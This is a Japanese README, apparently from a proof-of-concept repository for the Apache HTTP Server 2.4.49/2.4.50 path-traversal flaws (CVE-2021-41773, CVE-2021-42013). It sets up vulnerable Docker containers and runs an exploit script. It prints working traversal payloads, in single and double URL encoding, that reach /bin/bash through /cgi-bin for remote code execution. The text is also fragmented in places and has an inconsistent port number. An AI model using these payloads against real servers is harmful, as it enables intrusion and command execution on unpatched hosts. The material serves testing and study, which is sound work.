
Apache HTTP Server 2.4.49 のパス正規化に対する変更に欠陥が見つかりました。攻撃者はパストラバーサル攻撃を使用して、Alias 系ディレクティブで設定されたディレクトリの外部にあるファイルに URL をマッピングできる可能性があります。これらのディレクトリ外のファイルがデフォルト設定の "require all denied" で保護されていない場合、これらのリクエストは成功する可能性があります。これらのエイリアスされたパスで CGI スクリプトも有効になっている場合、リモートコード実行が可能になる可能性があります。この問題は実際に悪用されていることが知られています。この問題は Apache 2.4.49 にのみ影響し、それ以前のバージョンには影響しません。Apache HTTP Server 2.4.50 での修正は不完全であり、CVE-2021-42013 を参照してください。
pip3 install colorama でインストール)perl CGI スクリプトの例docker/podman コンテナとして、脆弱な Apache httpd(デフォルト設定)を起動します。
| Dockerfile | コンテナ | バージョン |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| コンテナ | リッスンポート |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 2.4.49 に対する攻撃を選択します
1.3 python3 main.py localhost:2450
1.4 2.4.50 に対する攻撃を選択します
このエクスプロイトは、Apache httpd の CGI モジュールを利用して、パストラバーサルを通じて任意の実行ファイルを実行できるようにします。
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ は URL エンコードされており、デコードすると ../ と同じになります。
.%%32%658 は二重 URL エンコードされており、デコードするとこれも ../ と同じになります。